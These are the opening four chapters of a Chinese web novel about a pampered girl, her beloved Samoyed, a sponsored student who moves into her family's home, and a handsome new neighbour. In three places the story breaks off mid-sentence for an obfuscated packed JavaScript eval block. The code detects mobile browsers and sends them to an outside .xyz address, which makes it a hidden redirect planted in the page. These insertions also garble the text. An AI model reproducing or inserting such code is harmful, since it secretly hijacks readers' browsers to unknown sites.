《移心两用》 1. 白月光1 没有课的周末，周序依然像平时那样起了个大早，遛完狗回来后就一直忙着在厨房做狗饭。 摄像机就架在一旁，全程录制。 先是把蒸好的鸡肝少量多次地捣碎成泥，再一点点地倒入提前准备好的模具里填平。除此以外，周序还做了好多加了羊奶的蔬菜冻干，它们造型各异，颜色丰富，一看就是小狗无法抗拒的漂亮饭。 “奶盖，过来。”周序朝角落里乖乖蹲着的萨摩耶招了招手。 奶盖一直都很乖，平常在家里很少狗叫更不会拆家，因为它知道除了带它回来的小主人，其余的两脚兽似乎并不喜欢它。 这会儿自己主人一招手，奶盖便立马来了精神，它吐着舌头哼哧哼哧地蹭着周序的小腿贴了过来，一屁股坐在地板上摇晃着毛茸茸的尾巴。 “跟小哥哥小姐姐们说拜拜！”周序撸着狗头，然后又握着软软的小狗爪子往相机前贴去，结束了今天的录制，“完美，待会儿奖励你一个鸡腿吃好不好。不过我们要安静一点，不要打扰在睡觉的爸爸妈妈可以吗？” “汪！”奶盖闻到了鸡腿的香味，很是应景地欢呼起来。 这一声狗叫并不算响，却也把周序吓得瞬间捏住了萨摩耶的嘴筒子。 小狗毕竟只是小狗，再通人性也不会明白最近家里日渐紧张的气氛。周序叮嘱了奶盖不要乱叫，可傻乎乎的奶盖还以为是主人在陪它玩耍，于是小尾巴摇晃得更加卖力，甚至都摇出了残影。 “小声点儿，爸爸心情不好，要是把他吵醒，我们两个就都惨了！” 公司里的事情周序并不懂，但在她看来，生意场上的交锋和买股票是一个道理，涨涨跌跌实在太正常不过了。 事业上到底是有多不顺，才可以让平时看上去性格温良的爸爸，一夜之间变得喜怒无常，自己和妈妈在家里只要稍微有一句话说得不合他的心意，就会踩到所谓的雷区。 最近这段时间，家里争吵的次数都已经超过过去的十几年了。 正这么胡乱想着，周思邈和裴佑月卧室的房门吱呀一声被拉开，很快，那趿拉着拖鞋，听上去异常沉重的脚步声由远及近地响起。 不知怎么，蹲在地上正在给奶盖加餐的周序听到自己的心跳声快得跟打鼓一样，想忽略都不行，她甚至不由自主地吞咽了口口水。 直到周思邈在厨房里站定，极力压着脾气的怒斥声在周序的头顶响起：“天天伺候这个破狗，伺候你爸妈都没见你这么上心！把你的家当都收拾收拾，一股死味儿。” 丢下这样一句话，周思邈就骂骂咧咧地走了，周序将狗头抱在怀里，整张脸都几乎要埋进浓密的狗毛里，只留了一双大眼睛露在外面。 砰的一声巨响，是爸爸摔门走了。 别看公司情况不妙，周思邈这几天也常常买醉，但人靠衣装的这套理论可是在他身上发挥到了极致。哪怕在家里面再怎么闹腾，可只要迈出这个家门，周思邈就会戴上他那个人上人的假面。 西装是没有一丝褶皱的，黑色皮鞋也早被擦得锃亮，甚至就连人到中年变得稀疏的头发都被他用发蜡梳理得像模像样。 行吧，还有心思做这些表面功夫，看来公司的情况未必就糟糕到了哪里去。 周序对周思邈的行程并不感兴趣，她只是抬手撸了撸奶盖的耳朵，默默嘀咕了起来：“家里有阿姨，哪还用得着我。再说了又不是没做过饭，也不知道是谁当场吐了出来说难吃。” 这些话放在从前，没大没小的周序是张口就来的，可今时不同往日，现在的她可不敢这样心直口快了。 最多也就是在背人的时候，自己爽一下算了。不过即便是在隔音效果很好的大别墅里，蛐蛐人的话也是不能多说的。 “行了，别一个人嘀咕了。”裴佑月换了一身新中式旗袍，乌黑油亮的长发被她用一根玉簪挽起，举手投足间俨然就是古画中的美人。 妈妈就这样带着一袭香风走来，同周序一样蹲下来，抚摸着奶盖的脑袋：“序序，你爸心情不好，这些话你心里想想就行了，可别和他当面对着来。现在我们家是特殊时期，熬过去就好了。” “我知道，我又不傻。”周序低垂着眼帘，若有所思了好一会儿才抬眼看过去，“妈，你今天怎么穿这么隆重？” 裴佑月是一个标志的美人，哪怕岁月在她脸上留下了一些细纹，可老态不显，反倒是增添了一抹别样的韵味。 “是你爸，他资助了一个成绩很优异的孩子，刚刚出门就是要把那孩子接回来。从今天开始，那孩子就要住在我们家里了。” 周序对此很是意外：“公司都岌岌可危了，他还有闲钱资助别人？”还有闲工夫去学人做慈善，那看来他们家的家底还厚实着呢。 想到这里，周序美滋滋地哼起了小曲，刷起狗碗来都有了使不完的力气。 看着自家女儿这欢快的背影，裴佑月张了张嘴，最终还是不忍打破周序的美好幻想，只叹了一口气：“总之你对那孩子友好一点，别总在人家面前耍你的大小姐脾气。” “放心吧！” 一个多小时后，周思邈果然领了一个小少年回到了他们这栋别墅里。 少年身高已然超过了周思邈，明明只是穿了一身最简单不过的白T和牛仔裤，明明以这一身朴素至极的打扮出现在这别墅里是那样格格不入，可他就是有种魔力，让周遭的一切都黯然失色。 在日光的配合下，那双琉璃色漂亮极了的瞳孔亮了一下，他的眼里盛满了细碎笑意：“阿姨好，姐姐好。” 绝了绝了，原来这就是好比环佩玎珰一样好听的音色。这个男生吃什么长大的啊，长得这么好看就算了，怎么就连声音都这么好听！ 周序再次被颜值硬控，不自觉地散发出了对陌生人最大的善意：“你好啊，你叫什么名字？” 或许是周序的落落大方和主动示好，让少年强撑着的气场裂出了一丝缝隙，他难得腼腆了一下：“陈……” “啊！” 只是他刚报出自己的姓氏，耳膜就被周序这突如其来的一嗓子给震得鼓动了好几下。视野里，他看到有一坨巨大的白团子飞窜而来。 奶盖鼻子很灵，闻到这股陌生气味的第一时间就飞扑上去想要仔细嗅嗅，周序叫都叫不住：“奶盖！” 大型狗总是会面临一些掉毛的问题，尤其是在这个季节，奶盖撒开爪子这么一跑，立时就在空气中扬起了一团团的白色狗毛。 “啧。”大热天在外面跑了半天本来就很是心浮气躁，现在再被这萨摩耶一搅和，周思邈更是心烦意乱，他掐着眉头终于没能忍住斥责起来，“这狗你还能养不？管不好趁早扔了！刚好嘉禾也来了，家里屋子本来就紧张，把这狗丢了，换人进来。” 奶盖是周序上小学时就养在身边的，在她眼里看来，除了爸爸妈妈，奶盖就是她最重要的亲人。以前，虽然爸爸妈妈他们都不喜欢这毛茸茸的小家伙，但考虑到她喜欢，也从来没说过这种狠话。 是啊，从小到大，爸爸妈妈说是把她捧在手掌心里也不为过，这还是第一次，为了一个外人对她吹胡子瞪眼睛。 泪水决堤一样地从周序的眼眶里狂涌而出：“为什么？这么大的别墅，上上下下加上地下室一共四层，就连只小狗都住不下吗？” 没想到，周思邈的脸上连一丝动容都没有，听到这话，他甚至冷笑起来：“别墅？公司欠了一屁股外债，员工的工资拖了一个多月没发，你觉得我们还能住得起别墅吗？” “为什么……”周序听到自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812698|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音越来越高，她仿佛要把这些日子以来的所有小心谨慎和委屈不平，全都在此时一股脑地发泄个干净，“为什么！” 她不是在责怪爸妈的经营不善，也不是放不下养尊处优的优渥生活。她只是不明白，为什么有能力去帮一个毫不相干的外人，却连一只相伴了好多年的小狗都容不下，说丢就丢。 奶盖在人类的争吵声中逐渐耷拉下了耳朵，它似乎是知道自己做错了什么，呜咽着将头靠进了周序的怀里。周序也不知道，这是奶盖在安慰她，还是在和她说“请不要把自己丢掉”。 周序抹干了眼泪，不管怎么样，她现在一定要为奶盖争取到最后一刻：“爸，养奶盖不花钱的，奶盖一直在陪我录视频开直播。它不仅不花钱，还会给家里挣钱，难道……难道还比不过这个要什么没什么，只带了一张嘴来的穷小子吗？” “住嘴！”怒不可遏的暴喝之后，周思邈的脖颈连带着面颊全是一片涨红，“你小小年纪，怎么能说出这么没有素质的话来？还不赶紧向嘉禾道歉！” 道歉？向这个鸠占鹊巢，不知道打哪儿冒出来，和她八竿子打不到一起的家伙道歉？ 周序红着一双眼，恶狠狠地瞪向这个片刻之前还好感满满，可现在却觉得无比憎恶的一张脸：“我什么都没做错。该走的人是你！你现在就给我……” 眼角余光里，周思邈的手臂高高扬起，依照爸爸最近越发暴戾乖张的脾气来看，或许今天她就会挨到人生中的第一个巴掌也说不定呢。 周序整个身子都在不受控地微微打摆，可她却没有想象中的那么害怕，至少在这种情况下，她竟然还能直勾勾地瞪着面前这个状似人畜无害的帅气少年。 她以为，陈嘉禾会最先受不住这种对峙而败下阵来，又或者是为自己高声辩解几句。 但下一秒，陈嘉禾一个箭步冲了上前，将周思邈堪堪堵在他的身后：“叔叔您别打她，是我来的时机……不对。” 巴掌迟迟没有落下，甚至连一丝风都没有掀起来过。周序狠狠松了口气，马后炮如她，现在又理直气壮起来，果然，爸爸是不会舍得对她动手的。 可能这个陈嘉禾也是猜到了这一点，所以才在爸爸的面前演了这么一出苦肉计。 呵，原来还是一个心机绿茶。 “你在我爸面前也是这样扮乖的吧？”恨就恨，奶盖只是一只狗不会说人话，不然怎么可能比不过他！ “我没有……”那双清凌凌的眸子里似乎有水光在闪，陈嘉禾和她站得很近，还保持着替她挡巴掌的姿势。 眼见形势如一团乱麻，裴佑月急得好比热锅上的蚂蚁，她在远离玄关的地方来回踱步，也不知道是在和谁打电话。 只看到她挂了电话后，肉眼可见地露出一抹如释重负的笑意，然后向这边小跑过来：“序序，你林阿姨同意了，我们先把奶盖寄养在她家，等公司日后情况好转了，我们再把它接回来好不好？” “……谢谢妈。” 奶盖，终于保住了。 周序扑进了裴佑月的怀里，这会儿也顾不上一齐飙出来的眼泪鼻涕会否搞脏妈妈的漂亮衣服了：“谢谢妈妈，我真的不想……真的不想和奶盖分开，奶盖它也是我的家人。” “好孩子，乖。都是暂时的，这都是暂时的。” 局势总算稳定下来，周思邈按按自己青筋直跳的额头，微微侧身嘱咐着身后的陈嘉禾：“我带你去你房间看看，还没搬家前，你就先住着。” “谢谢周叔叔。”陈嘉禾这才把视线从哭成泪人的周序身上移开，跟条小尾巴一样，随着周思邈上楼了。 他知道，那道冰冷又带着恨意的视线，一直在紧紧地跟随着他。陈嘉禾暗自将垂在身侧的拳头攥紧，只当做浑然未觉。 2. 朱砂痣1 就这样，家里登堂入室住了一个周序死活都看不顺眼的家伙。偏偏这家伙小嘴跟抹了蜜似的，哄起她爸她妈来很有一套。 扪心自问，如果不是因为他的到来而导致奶盖的生存受到了极大的威胁，或许她才是家里面最先缴械投降的那个。 不过事实就是永远不会有如果，和陈嘉禾的这个梁子，算是彻底结下了。 搬家前在别墅里的最后一顿早饭，周序咬着筷子尖一声不吭，只用怨气满满的眼神盯着对面的人，好像恨不得在他身上盯出几个窟窿。 陈嘉禾慢条斯理地将嘴巴里的三明治咽下去，这才看着周序缓缓露出一个堪称完美的标准笑容来：“姐姐怎么不吃？是不合你的胃口吗？” “你别一口一个姐姐的叫我，我嫌……”恶心二字，被周思邈冷冷横过来的视线硬生生地逼了回去，“你做的早饭，我吃不惯！” 一撂筷子，周序头也不回地牵起狗绳，今天是她最后一次带奶盖出门遛弯了。别说是陈嘉禾的厨艺比不上专业厨师，就是真的有一桌子美味佳肴，她也一口都吃不下去。 周序带着奶盖去了平常他们最喜欢去的小花园，松开狗脖子上套着的牵引绳，看那一团白色小肉球在草坪上到处撒欢扑腾的时候，她脸上的笑容就再也挂不住了。 一滴又一滴的泪水砸在她的手背上，鼻子也酸酸的透不过气来。 就在她打算环顾四周看看有没有路人好放声大哭的时候，一包全新的手帕纸被人递了过来：“奶盖有阿姨帮忙照顾呢，你要是想它，周五晚上放学就可以来找它玩啊。” 林彩璐是裴佑月的好闺蜜，两个人时常约着去逛街购物，哪次出门都会买一堆中看不中用的包包鞋子回来，曾几何时，周序只以为她们是可以同享福的“酒肉朋友”。 没想到是她看轻了长辈们之间的情谊，这样的紧要关头，恰恰是林阿姨帮了她这样大的一个忙。 “林阿姨，奶盖它……会不会忘了我？” 没看出来，周序这孩子人小，心事还挺多的。林彩璐好笑地替小姑娘将碎发别到耳后：“按照人类的寿命来算，奶盖已经是成年人了，你可不要小瞧狗的记忆力，它们的脑子或许比你还好使。” “也是。如果我每周都去看它，它还能忘了我的话，那它可真是白和我混这么多年了。” 电话打来，是周思邈在催她回家了，周序随便应付了几句就挂断电话，将牵引绳亲手交到了林彩璐的手中：“林阿姨您放心，我很快就会来接奶盖回家的。” 爸爸的公司究竟还要多久才能好转起来她不知道，但这些年靠着记录狗狗日常和狗狗吃播，她自己也零零散散攒了一笔钱。周序有在考虑，要不要单独租个一居室的小房子，等她安顿好后就把奶盖接回去。 但那都是后话了。她现在连他们要搬去的新家在哪儿都不清楚。 —— 家具一概不留，连带着精装过的别墅全都以打包价卖给了别人，但即便这样，周思邈和裴佑月也还是叫了两辆货拉拉，前前后后折腾了好几回。 光周序自己的东西，就足足占了将近一辆货车，望着整整齐齐码在车上的纸箱子，她有些心虚地挠了挠鼻头，好在爸爸没有丧心病狂到要把她的东西也一股脑地扔出去。 “给我吧。”搬运工人忙活了一圈，一扭头发现这家的小姑娘手上不知怎么又多了一个大家伙，他抹了抹额头上的汗，好心伸手要将东西接过去。 “不用，我自己来就行。”周序却是侧了侧身子，将怀里格外细长的木盒子抱得更紧。 搬运工人乐得轻松，转头就去搬地上其他早已打包好的纸箱：“小姑娘把路稍微给让让。” 闻言，周序抱着那时不时往下滑的木盒，面无表情地走到一边。如果不是紧紧攥着的两只拳头暴露了她此时起伏的心绪，别人还真会以为她改掉了大小姐脾气。 见状，陈嘉禾主动上前：“我帮你吧。” 少年的嗓音温润清朗，一如初见时的那样识趣有眼色，可是这会儿再听，却是怎么听怎么难受，像是在刻意夹着嗓子说话，一脸的阿谀奉承。 只要陈嘉禾一开口，周序就会浑身起鸡皮疙瘩，是不爽，更是打心底的厌恶。 “我连花钱雇来的工人都不肯用，怎么可能用你？”周序嘁了一声，懒得再理人索性背过身子去，“对自己有点数好吗？” 陈嘉禾掩去眸底晦暗不明的神色，也不说话，就安静地站在一旁看着工人师傅们把打包好的行李依次装车。 只是大小姐脾气可以收敛，却是不可能轻易改掉的。只过了不到五分钟，周序的耐心就彻底告罄，她斜了眼身边站得青松一样笔直的少年：“陈嘉禾，打个电话问问司机怎么还不来？” “姐姐，这一次可是你主动找我说话的。”少年闻言，慢悠悠地掏出手机，早已抿直的唇线就在说这话时弯了起来。 他这好似带了点讥讽，又分明自以为是的笑容，不知怎么，让周序竟有点不寒而栗。 其实平心而论，周序觉得陈嘉禾这个人的人品还是相当正派的。来了他们家以后，虽然不乏一些甜言蜜语的小家子做派，可到底把身份摆得很正。如果不是因为奶盖事件触了她的逆鳞，或许他们会成为很好的朋友。 但就是这样一个挑不出错来的人，现在的这貌似把一切都尽在掌握的笑容却有点……让人不知该如何形容，可能是正到发邪？ 对！就是正到发邪！当有了这个念头之后，周序的鸡皮疙瘩以前所未有的速度攀升到了一个新高度，她整个人都在大太阳底下打了个冷颤。 “姐姐怎么了？” 一切发生的都很突然，陈嘉禾这会儿还在查找周家司机老于的电话号码，头也没抬，但眼角余光就是很敏锐地捕捉到了周序的这一小动作。 这太可怕了！他是在偷看自己？还是说从始至终，都一直在观察她？ 陈嘉禾一口一个姐姐叫得这么亲热，可实际上她也只比对方大了一个月而已。大家都是同龄人，彼此之间的想法应该都差不多，如果不是从小一起长大的亲姐弟，这个年纪的小男生怎么可能会叫得这么顺口呢？ 网络上有句老说得好啊，年下不叫姐，心思有点野。但如果这“姐姐”叫得太顺口了，是不是心思也不对劲呢？ 回想一下自己最近刻意针对对方的言行，周序有理由相信，她这是得罪了陈嘉禾，也许他无时无刻都在盯着自己，准备伺机报复。 啧啧啧，宁可得罪君子，也不能得罪小人。周序不自在地退后半步。 不过，现在他们身边没有一个大人在，如果想问点什么，恐怕再也找不到更合适的时候了：“你，你是我爸资助的学生？他是什么时候开始资助你的？” “嗯，周叔叔从我初中起就在资助我了，今年……今年可能是看我双亲突然不在了，看我可怜，周叔叔就把我接来了吧。” 他的爸妈都……？深受某些影视剧和小说荼毒的周序最近想了很多，其实在周思邈为了陈嘉禾想要跟自己动手的那一刻，她的心中就有颗怀疑的种子生了根发了芽。 她甚至还冒出了个蠢念头，陈嘉禾是他爸在外面和哪个女人的私生子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812699|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以这些日子以来的针对和怨恨，奶盖的归属只是原因之一，是她可以放在明面上胡搅蛮缠的由头。除此之外，其实还另外有个不能明说的原因，就是陈嘉禾的身份问题。 可脑回路异常活跃的自己，现在却因为这么一个莫名其妙的怀疑而掀开了某人的伤心事。 一瞬间，周序想抽自己一巴掌的心都有了：“那个……那个我不知道你家里情况，不好意思。” 不好意思这四个字被她念得很轻，可陈嘉禾一字不落，全都听进了耳朵里。养尊处优惯了的大小姐，从小要星星有月亮，这些表示歉意的字眼，无论怎么寻找平替，怕是目前为止都没有说过几回吧。 因为别扭，因为难堪，再加上燥热的天气持续不断地炙烤，周序白嫩的面皮上都泛了红。 陈嘉禾终于拨通老于的手机：“喂，于叔，你到哪儿了？” —— “小姐，嘉禾，前面就是了。”拐进了小区的林荫大道后，老于一路畅通无阻。 看着车窗外掠过的喷泉广场，还有一丛丛按花朵颜色分类栽种好的花园，周序猛地坐直了身子，双手扒在副驾驶的座椅上：“这是雁翎小区？是我们的新家？” “对。听周总说，这附近的配套设施还挺齐全，生活质量上比起以前不会低到哪儿去。” 老于说这话时眉眼含笑，一点都没有即将被优化的焦虑。 既用得起私人司机，又住得了桦城赫赫有名的高档小区，看来他们家公司的情况虽然比不上以前那样蒸蒸日上，但目前来看，根本不算山穷水尽嘛。 先天乐观的周序很快就说服了自己对于未来生活的那点担忧，还有闲心对着车窗外面拍照：“于叔开慢点儿吧，我想拍拍照。” 肆意外延的枝丫铺盖得又密又厚，他们开着的车即便速度再慢也会时不时地发出车顶被树枝剐蹭着的细碎声响，像极了用指甲盖刮在黑板上的声音，听得周序一阵牙酸。 看来，绿化率高的小区，有时候也不会全是好处。周序搓了搓胳膊，索性将目光放到更远的地方。 “滴滴！”忽然，老于又是打方向盘又是刹车的，好在速度不快，并没有造成什么事故。 但光按几下喇叭和自言自语可不解气，老于干脆降下车窗：“能不能看好孩子？就是小区里也不能在大马路上瞎跑啊！” 细碎的光斑下，一个扎着丸子头，看起来不过六七岁的小女孩正放声大哭着，显然已经是被突发事件给吓傻了，又或者是被刚刚老于的几嗓子给吼懵了。 但这些都不重要，又或者说，至少此时此刻来看没那么重要。因为就在她的旁边，有个穿着咖啡色卫衣，高高瘦瘦的男生正在蹲下身子和那个小女孩说着什么。 从周序的角度来看，她只能看到男生略显单薄却又过分流畅优美的背影，车子向前继续行驶着，然后是对方阳光朝气的侧脸，纤长性感的脖颈。 有些人生来就是夜空中最夺目的那颗星，那么只要当他一出现，就会自动屏蔽掉周遭的一切，无论是汽车车窗的阻拦，还是相隔甚远的空间距离。 这所有的阻碍，都不再是阻碍。 周序像是一株寻到了阳光的向日葵，只懂得机械性地将目光转到那个少年的身上。 直到，比她更靠近那边的陈嘉禾突然坐直身体，倾身上前。 “陈嘉禾！”好死不死，就在周序马上要看到那个男生的正脸，马上就可以一睹帅哥真容的时候，陈嘉禾凑到了驾驶座后方。 他举着手机，眼皮微抬：“于叔，周叔叔问我们还有多久才能到？” 3. 白月光2 搞什么啊，就算是有正事需要问话，难道就不能直接开口吗？她还是第一次知道，于叔年纪轻轻就已经耳背到这种程度了。 周序越想越气，挪着屁股坐到了后座最靠边的位置，把刚刚没有看到帅哥正脸的事儿全怪到了陈嘉禾的身上：“从今天开始，别再和我说一句话！” 直到车子停靠在单元楼下，老于又忙着和周序爸妈交接汇报，周序都全程板着一张脸。 那小脸黑得，想装看不见都难。 周思邈清咳了一声：“怎么了这是？谁惹我们家小公主不开心了？” 自从卖掉别墅，有了一大笔现金流做周转以后，过去那个脾气温和，谈吐文雅的周思邈就又回来了。 最近几天，他们周家那可真是夫妻和睦，父慈女孝，得益于家庭氛围祥和，周序的大小姐脾气便又卷土重来。 “还不是陈嘉禾，坐个车一点都不规矩老实，都挡住我看……看外面风景了。” “我还当是什么呢。”裴佑月上前轻轻刮了一下女儿的鼻尖，尽管她猜得出来八成是路上看到了什么好看的男孩子，但还是没有戳穿周序，“住到这小区里来，以后有得是你看风景的机会。” 这话说得确实很有道理。那个男生一定就是住在这个小区里的，从此以后进进出出，还愁没有再碰面的机会吗？ 情绪的乌云聚得快，散得更快。一忙起来，周序很快就把这茬子事抛到了脑后。 家里还有一些比较稀罕珍贵的摆件，周思邈不放心交给外人来搬运，生怕磕着碰着。所以即便是一家人要冒着毒日头挥洒汗水，他也毅然决然地结清了工人们剩余的工资。 工人们咬着裴佑月送的免费雪糕，疲劳缓减了不少：“下回要是有搬家的需要，再联系啊。” “一定一定。”周思邈笑着冲几人点了点头。别人说这话也许是客套，但在他看来，什么小区什么楼房都是暂时的，只要他还在喘气，那么凭借他的手段，他们一家人就总要有搬回到别墅的一天。 更何况，他尽心尽力地做慈善资助贫困学生，这么些年可是积累了不少人脉口碑。眼前的困难就是小沟小坎，咬咬牙就扛过去了。 这么想着，周思邈看着陈嘉禾的目光也越发柔和：“嘉禾啊，累了就上去歇歇。你阿姨囤了一冰箱的雪糕冰棒，你看着挑一个？” 说着，周思邈就上手揽住了少年比他还要高大宽敞的肩膀，或许是两人间的高度差略大，周思邈还很尴尬地踮了踮脚：“你这孩子，长得还真快，吃什么长大的……” 面对周思邈的感慨，陈嘉禾很是上道，不仅当即矮了矮身子，小话还跟不过脑一样，张口就来：“都是周叔叔您这些年资助我的钱，要不然别说长高了，能不能考出个看得过去的成绩都是个问题。” 呕！真是恶心坏人了，差点把她早饭都给哕出来。 周序翻着白眼，可嘴巴喉咙里干干的，现实的需求让她很没骨气地喂了一声：“下来的时候给我也捎一根，我要香草味儿的。” 都说寄人篱下要会看主人家的脸色。陈嘉禾自从来的第一天就深谙此道，不然也不可能哄得她爸妈这么开心。甚至，如果没有奶盖的话，她会是这家里第一个被收买的。 可是此刻，面对她这个主人家的需求，这家伙却是置若罔闻？ “陈嘉禾！我和你说话呢，聋了？” “你这孩子，说话不能好好说？”单元楼下时不时有新邻居进出，周序这中气十足又带着点颐指气使的一声，真是让周思邈的老脸都险些没挂住。 他有些心虚地觑着旁边人的脸色，正想着该怎么开口劝陈嘉禾别放在心上，可在对到少年唇畔那一丝不似作假的笑容时，却冷不丁地愣住了。 以他活了四十来年的人生阅历来看，竟然也一时摸不准这小子的心思，究竟是真大度，还是心思重？ “刚刚在车上，姐姐不是不让我和你说话吗？” “你！”好一个小心眼，好一个四两拨千斤的手段，就这轻飘飘的一句话，理就全然不在她这边了呀！ 尽管也的确是自己可能有点过分，但一向顺风顺水惯了的周序又怎么可能咽得下这口气。 说白了，她绝对不可能容许在家里有除了长辈以外的人和她对着干。别说真就只是他们周家资助的一个无亲无故的学生，哪怕真是爸爸的私生子，在她手下也讨不到一点好处。 “别耍小聪明，你就说拿不拿！” 夏日的微风带着难忍的燥热，撩动陈嘉禾额前略长发丝的同时，也让他原本清亮的瞳色变得幽深起来：“姐姐没让我说话，我就不会自讨没趣。但你吩咐拜托我的事情，我依旧会记在心上。” 这话是真心实意？还是在阴阳怪气？他最好是真的会去做。 否则，否则她有手有脚，大不了自己去拿也不是不行啊……但抬头不见低头见的，以后有得是他好看！ 两个孩子的无端对立最终还是以陈嘉禾的示弱而落幕。 周思邈领着陈嘉禾上了楼，一路上要笑不笑的，尴尬写了满脸：“你多担待，序序她从小也没缺衣少食的，我们夫妻俩就她一个孩子，不知不觉就给惯坏了。不过嘉禾你放心，周叔叔不会让你受委屈的，你就安心住下来，好好学习！要是序序再来找茬，你就来和叔叔说，叔叔给你做主！” “还好。周序姐姐她嘴硬心软，我没有受委屈。” 楼下，清点自己宝贝的周序还全然没有意识到，陈嘉禾在自己爸爸心里的形象猛然拔高了一大截。 “妈，你别上手，我自己来！”周序眼尖，余光里看到裴佑月弯着腰就要从后备箱里往外抱她死沉死沉的箱子，一下急得声音都劈了叉。 后备箱里几乎摞满了大小不一的盒子，木盒是用来存放她这几年陆陆续续高价定制的刀和剑，纸盒则是常年暗箱的bjd和小布娃娃。此外，还有数不清的小裙子和各个圈子的衍生周边。 作为一名多坑少女，她有的是这样烧钱的爱好。 就是这样在周思邈夫妻俩人眼中看来幼稚到不行的美丽废物，却是周序看成眼珠子的宝贝。 平常碰都不舍得让人碰一下的，又怎么可能放心交给别人去搬运呢？ 周序怕自己妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812700|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈多想，于是赶忙在嗓子破音后谄媚地笑了几下：“我一个人可以的，我就是害怕你再把腰给闪了。” 裴佑月也不拆台，安静地退到一边，只是言语和行为可以控制，身体下意识的动作却是不由人掌控，她的两只手臂就那样在半空中虚抬着：“慢点啊，你那盒子太重，当心砸了脚。” 有些事，真是禁不住念叨。 裴佑月这一句担忧的嘱咐忽然就有了乌鸦嘴的功能，几乎是她话音落下的瞬间，周序手里沉甸甸的盒子就打了滑。 竖直放置能有一人高的木盒过于瘦长，这就导致它一旦脱手会很难及时找到着力点。周序自认为她的反应速度已经很快了，但还是眼睁睁地看着木盒狼狈倒下，然后正中她只穿了一双凉鞋的脚面。 “啊！”生理性的眼泪夺眶而出，周序甚至分不清她在这一刻究竟是在为自己可以美美出片的宝贝很可能有了瑕疵而难过，还是单纯忍受不了这钻心的疼痛。 不过也仅仅只有当下的这一秒，周序就做出了选择。果然，对比起花里花哨的各类高档玩具，她还是更心疼自己红肿的脚趾头。 曾经放在心尖上的东西，现在却怎么看怎么碍眼，周序抬腿就要踢出一脚出气。 “序序，你别乱动啊！”面对周序这样不理智的行为，当妈的裴佑月眼前是黑了又黑。 就在两个人各执一词，谁也说服不了谁的时候，一道清亮的声音蓦地闯入进来。 “我来吧。” 他人出现的时机恰到好处，还有一腔雪中送炭的热心，谢祁之立马引得了母女二人的侧目。 “谢谢啊。”裴佑月松了口气。 她生的女儿她最了解，周序一旦闹起脾气来，那是谁的话都听不进去，典型一窝里横，只有外人在时才会稍稍收敛一些。 更别提，还是这样一个模样俊朗的小男生，就自己女儿那没出息的颜狗样，不得在人家面前好好表现一下？ 果然，怒气上头的周序这会儿已经顾不上闹大小姐脾气了，她的双眼唰得一亮：“哎？是你啊！” 是他！那个穿着咖啡色卫衣，超绝背影的高个儿男生！她就知道，能拥有那样挺拔卓越的身姿和完美的侧颜，正脸一定不会让人失望。 谢祁之弯腰将盒子抱在怀里，微微用力的手背上盘踞着几条青筋：“你认识我？” “就刚刚你把你妹妹拦下来，让她不要在小区里乱跑的时候。那个按喇叭的大叔，其实是我家司机。”早知如此，她当时真应该拦着点老于，最起码装也要装成耐心很好的样子嘛。 哎，帅哥会不会就这样对她的第一印象分大打折扣啊。周序正在满脑子胡思乱想，乱瞥的视线就这样不由自主地落到了对面之人的脸上。 然后她就惊喜地发现，这帅哥笑起来居然有一对可爱到爆的小梨涡。 “那不是我妹妹，是邻居家小孩儿。” 看这母女俩一个负伤一个又踩着高跟鞋的情形，谢祁之不得不悄悄掂量了一下手中的盒子，即便看到满满一后备箱的待搬货物，但还是决定帮人帮到底：“对了，你家在几层？” 4. 朱砂痣2 12层的高度并不算什么，因为有了电梯的帮忙，哪怕是顶楼也不会过于消耗体力。也幸好是这样的配置，才不至于让周序觉得太过意不去。 但越是这样，才越不能自己在边上一站手往兜里一插冷眼旁观，跟个大爷似的。 周序在谢祁之旁边忙得不亦乐乎，站位忽左忽右，飘忽不定，一双手不停重复着伸出来又缩回去的动作。 她总想表现一下自己不是那种不懂得感恩的人，却不知道在谢祁之的眼里，这样忙乱的她其实像一只上窜下跳的猴。 “你帮我按着按键，别让电梯门关上就行。”谢祁之的目光扫过周序红肿得几乎无法直视的脚面，“一会儿你和阿姨到家之后就不用再出来了，剩下的有我来搬。” “谢谢你，还不知道你叫什么名字呢？”周序甚至已经开始在脑内规划等一会儿全部忙完以后，要送给他点什么不好拒绝的谢礼。 像妈妈那样给个雪糕什么的降降温当然是最合适不过的了，可谢祁之能和普通工人一样吗？要不然就请他在家里坐坐吹空调？好像跟谁家没有似的，寒不寒碜啊…… 面对这样一个只是初次见面就已经忍不住预设好未来的对象，人总是会束手无策。生怕怠慢了对方，又怕把控不好度反而让人家避而远之。 